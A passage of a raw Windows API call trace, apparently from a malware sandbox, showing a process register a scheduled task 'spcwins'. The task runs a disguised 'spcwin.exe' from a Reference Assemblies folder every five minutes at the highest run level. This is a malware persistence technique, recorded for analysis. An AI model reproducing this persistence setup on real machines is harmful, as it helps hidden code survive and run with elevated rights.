Flags=0xc, Size=0x10) returned 0x45d5c0 [0130.997] GetThreadLocale () returned 0x409 [0130.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0130.997] GetProcessHeap () returned 0x440000 [0130.997] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cda0 [0130.997] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.997] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0130.997] lstrlenW (lpString="HIGHEST") returned 7 [0130.997] GetProcessHeap () returned 0x440000 [0130.997] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x10) returned 0x45d5e0 [0130.998] GetThreadLocale () returned 0x409 [0130.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0130.998] GetProcessHeap () returned 0x440000 [0130.998] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd70 [0130.998] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.998] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0130.998] lstrlenW (lpString="MINUTE") returned 6 [0130.998] GetProcessHeap () returned 0x440000 [0130.998] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d600 [0130.998] GetThreadLocale () returned 0x409 [0130.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0130.999] SetLastError (dwErrCode=0x0) [0130.999] GetProcessHeap () returned 0x440000 [0130.999] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x1fc) returned 0x45c3d0 [0130.999] GetProcessHeap () returned 0x440000 [0130.999] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd40 [0130.999] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.999] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0130.999] lstrlenW (lpString="First") returned 5 [0130.999] GetProcessHeap () returned 0x440000 [0130.999] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xc) returned 0x45d620 [0130.999] GetProcessHeap () returned 0x440000 [0130.999] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd10 [0130.999] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.999] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0130.999] lstrlenW (lpString="Second") returned 6 [0130.999] GetProcessHeap () returned 0x440000 [0130.999] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d640 [0131.000] GetProcessHeap () returned 0x440000 [0131.000] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cce0 [0131.000] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.000] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0131.000] lstrlenW (lpString="Third") returned 5 [0131.000] GetProcessHeap () returned 0x440000 [0131.000] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xc) returned 0x45d660 [0131.000] GetProcessHeap () returned 0x440000 [0131.000] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ccb0 [0131.000] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.000] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0131.000] lstrlenW (lpString="Fourth") returned 6 [0131.000] GetProcessHeap () returned 0x440000 [0131.000] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d680 [0131.000] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.000] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0131.000] lstrlenW (lpString="Last") returned 4 [0131.000] GetProcessHeap () returned 0x440000 [0131.000] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xa) returned 0x45d6a0 [0131.000] lstrlenW (lpString="5") returned 1 [0131.001] _wtol (_String="5") returned 5 [0131.001] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.001] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0131.001] lstrlenW (lpString="First") returned 5 [0131.001] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.001] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0131.001] lstrlenW (lpString="Second") returned 6 [0131.001] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.001] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0131.001] lstrlenW (lpString="Third") returned 5 [0131.001] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.001] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0131.001] lstrlenW (lpString="Fourth") returned 6 [0131.001] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.001] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0131.002] lstrlenW (lpString="Last") returned 4 [0131.002] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c420, cchData=128 | out: lpLCData="0") returned 2 [0131.002] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.002] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0131.002] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0131.002] GetProcessHeap () returned 0x440000 [0131.002] GetProcessHeap () returned 0x440000 [0131.002] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d620) returned 1 [0131.002] GetProcessHeap () returned 0x440000 [0131.002] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d620) returned 0xc [0131.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d620 | out: hHeap=0x440000) returned 1 [0131.002] GetProcessHeap () returned 0x440000 [0131.002] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d620 [0131.002] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c440, cchData=128 | out: lpLCData="0") returned 2 [0131.003] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.003] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0131.003] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0131.003] GetProcessHeap () returned 0x440000 [0131.003] GetProcessHeap () returned 0x440000 [0131.003] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d640) returned 1 [0131.003] GetProcessHeap () returned 0x440000 [0131.003] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d640) returned 0xe [0131.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d640 | out: hHeap=0x440000) returned 1 [0131.003] GetProcessHeap () returned 0x440000 [0131.003] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d640 [0131.003] GetLocalTime (in: lpSystemTime=0x25c670 | out: lpSystemTime=0x25c670*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x36, wMilliseconds=0x390)) [0131.003] lstrlenW (lpString="") returned 0 [0131.003] GetLocalTime (in: lpSystemTime=0x25cf28 | out: lpSystemTime=0x25cf28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x36, wMilliseconds=0x390)) [0131.004] lstrlenW (lpString="") returned 0 [0131.004] lstrlenW (lpString="") returned 0 [0131.004] lstrlenW (lpString="") returned 0 [0131.004] lstrlenW (lpString="") returned 0 [0131.004] lstrlenW (lpString="5") returned 1 [0131.004] _wtol (_String="5") returned 5 [0131.004] lstrlenW (lpString="") returned 0 [0131.004] lstrlenW (lpString="") returned 0 [0131.004] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0131.047] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0131.126] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25ccf0 | out: ppv=0x25ccf0*=0x256f0) returned 0x0 [0131.138] TaskScheduler:ITaskService:Connect (This=0x256f0, serverName=0x25cdd0*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25cdb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0131.229] TaskScheduler:IUnknown:AddRef (This=0x256f0) returned 0x2 [0131.229] TaskScheduler:ITaskService:GetFolder (in: This=0x256f0, Path=0x0, ppFolder=0x25ce88 | out: ppFolder=0x25ce88*=0x25920) returned 0x0 [0131.235] TaskScheduler:ITaskService:NewTask (in: This=0x256f0, flags=0x0, ppDefinition=0x25ce80 | out: ppDefinition=0x25ce80*=0x25970) returned 0x0 [0131.235] ITaskDefinition:get_Actions (in: This=0x25970, ppActions=0x25ce00 | out: ppActions=0x25ce00*=0x25a30) returned 0x0 [0131.235] IActionCollection:Create (in: This=0x25a30, Type=0, ppAction=0x25ce20 | out: ppAction=0x25ce20*=0x26800) returned 0x0 [0131.236] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0131.236] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0131.236] lstrlenW (lpString=" ") returned 1 [0131.236] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0131.236] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.236] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0131.237] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0131.237] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.238] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.239] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0131.239] IUnknown:Release (This=0x26800) returned 0x1 [0131.239] IUnknown:Release (This=0x25a30) returned 0x1 [0131.239] ITaskDefinition:get_Triggers (in: This=0x25970, ppTriggers=0x25c980 | out: ppTriggers=0x25c980*=0x26570) returned 0x0 [0131.239] ITriggerCollection:Create (in: This=0x26570, Type=1, ppTrigger=0x25c978 | out: ppTrigger=0x25c978*=0x26870) returned 0x0 [0131.240] lstrlenW (lpString="5") returned 1 [0131.240] _vsnwprintf (in: _Buffer=0x25c900, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25c8f8 | out: _Buffer="PT5M") returned 4 [0131.240] ITrigger:get_Repetition (in: This=0x26870, ppRepeat=0x25c970 | out: ppRepeat=0x25c970*=0x26900) returned 0x0 [0131.240] IRepetitionPattern:put_Interval (This=0x26900, Interval="PT5M") returned 0x0 [0131.240] IUnknown:Release (This=0x26900) returned 0x1 [0131.240] _vsnwprintf (in: _Buffer=0x25c8c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25c898 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0131.240] ITrigger:put_StartBoundary (This=0x26870, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0131.241] lstrlenW (lpString="") returned 0 [0131.241] lstrlenW (lpString="") returned 0 [0131.241] lstrlenW (lpString="") returned 0 [0131.241] lstrlenW (lpString="") returned 0 [0131.241] IUnknown:Release (This=0x26870) returned 0x1 [0131.241] IUnknown:Release (This=0x26570) returned 0x1 [0131.241] ITaskDefinition:get_Settings (in: This=0x25970, ppSettings=0x25ce20 | out: ppSettings=0x25ce20*=0x265e0) returned 0x0 [0131.241] lstrlenW (lpString="") returned 0 [0131.241] IUnknown:Release (This=0x265e0) returned 0x1 [0131.241] GetLocalTime (in: lpSystemTime=0x25ccd8 | out: lpSystemTime=0x25ccd8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x37, wMilliseconds=0x92)) [0131.241] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0131.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0131.242] GetUserNameW (in: lpBuffer=0x25cd00, pcbBuffer=0x25cce8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25cce8) returned 1 [0131.242] ITaskDefinition:get_RegistrationInfo (in: This=0x25970, ppRegistrationInfo=0x25ccd0 | out: ppRegistrationInfo=0x25ccd0*=0x264b0) returned 0x0 [0131.243] IRegistrationInfo:put_Author (This=0x264b0, Author="") returned 0x0 [0131.243] _vsnwprintf (in: _Buffer=0x25cd00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25cc98 | out: _Buffer="2022-08-06T02:18:55") returned 19 [0131.243] IRegistrationInfo:put_Date (This=0x264b0, Date="") returned 0x0 [0131.243] IUnknown:Release (This=0x264b0) returned 0x1 [0131.243] malloc (_Size=0x18) returned 0x258d0 [0131.243] free (_Block=0x258d0) [0131.243] lstrlenW (lpString="") returned 0 [0131.243] ITaskDefinition:get_Principal (in: This=0x25970, ppPrincipal=0x25cef0 | out: ppPrincipal=0x25cef0*=0x26750) returned 0x0 [0131.244] IPrincipal:put_RunLevel (This=0x26750, RunLevel=1) returned 0x0 [0131.244] IUnknown:Release (This=0x26750) returned 0x1 [0131.244] malloc (_Size=0x18) returned 0x258d0 [0131.244] ITaskFolder:RegisterTaskDefinition (in: This=0x25920, Path="spcwins", pDefinition=0x25970, flags=6, UserId=0x25cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25ee80, varVal2=0xfe), LogonType=3, sddl=0x25cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25ce90 | out: ppTask=0x25ce90*=0x26a90) returned 0x0 [0131.455] free (_Block=0x258d0) [0131.455] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.456] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0131.456] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0131.456] GetProcessHeap () returned 0x440000 [0131.456] GetProcessHeap () returned 0x440000 [0131.456] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d660) returned 1 [0131.456] GetProcessHeap () returned 0x440000 [0131.456] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d660) returned 0xc [0131.456] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d660 | out: hHeap=0x440000) returned 1 [0131.456] GetProcessHeap () returned 0x440000 [0131.456] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x82) returned 0x479e50 [0131.456] _vsnwprintf (in: _Buffer=0x25d5d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25ce38 | out: _Buffer="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n") returned 69 [0131.456] _fileno (_File=0x7fefed02ab0) returned -2 [0131.456] _errno () returned 0x24bb0 [0131.456] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0131.456] SetLastError (dwErrCode=0x6) [0131.456] lstrlenW (lpString="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n") returned 69 [0131.456] GetConsoleOutputCP () returned 0x0 [0131.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0131.456] GetConsoleOutputCP () returned 0x0 [0131.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"spcwins\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0131.457] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 69 [0131.457] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0131.457] IUnknown:Release (This=0x26a90) returned 0x0 [0131.457] TaskScheduler:IUnknown:Release (This=0x25970) returned 0x0 [0131.457] TaskScheduler:IUnknown:Release (This=0x25920) returned 0x0 [0131.457] TaskScheduler:IUnknown:Release (This=0x256f0) returned 0x1 [0131.457] lstrlenW (lpString="") returned 0 [0131.457] lstrlenW (lpString="5") returned 1 [0131.457] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0131.457] GetProcessHeap () returned 0x440000 [0131.457] GetProcessHeap () returned 0x440000 [0131.457] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c3d0) returned 1 [0131.457] GetProcessHeap () returned 0x440000 [0131.457] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c3d0) returned 0x1fc [0131.458] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c3d0 | out: hHeap=0x440000) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba10) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba10) returned 0x4 [0131.458] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba10 | out: hHeap=0x440000) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d580) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d580) returned 0x16 [0131.458] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d580 | out: hHeap=0x440000) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d560) returned 0x18 [0131.458] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560 | out: hHeap=0x440000) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce30) returned 1 [0131.458] GetProcessHeap () returned 0x440000 [0131.458] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ce30) returned 0x20 [0131.459] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce30 | out: hHeap=0x440000) returned 1 [0131.459] GetProcessHeap () returned 0x440000 [0131.459] GetProcessHeap () returned 0x440000 [0131.459] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c070) returned 1 [0131.459] GetProcessHeap () returned 0x440000 [0131.459] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c070) returned 0xa0 [0131.460] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c070 | out: hHeap=0x440000) returned 1 [0131.460] GetProcessHeap () returned 0x440000 [0131.460] GetProcessHeap () returned 0x440000 [0131.460] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45baf0) returned 1 [0131.460] GetProcessHeap () returned 0x440000 [0131.460] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45baf0) returned 0x18 [0131.460] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45baf0 | out: hHeap=0x440000) returned 1 [0131.460] GetProcessHeap () returned 0x440000 [0131.460] GetProcessHeap () returned 0x440000 [0131.460] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb90) returned 1 [0131.460] GetProcessHeap () returned 0x440000 [0131.460] RtlSizeHeap (HeapHandle=0x440000, 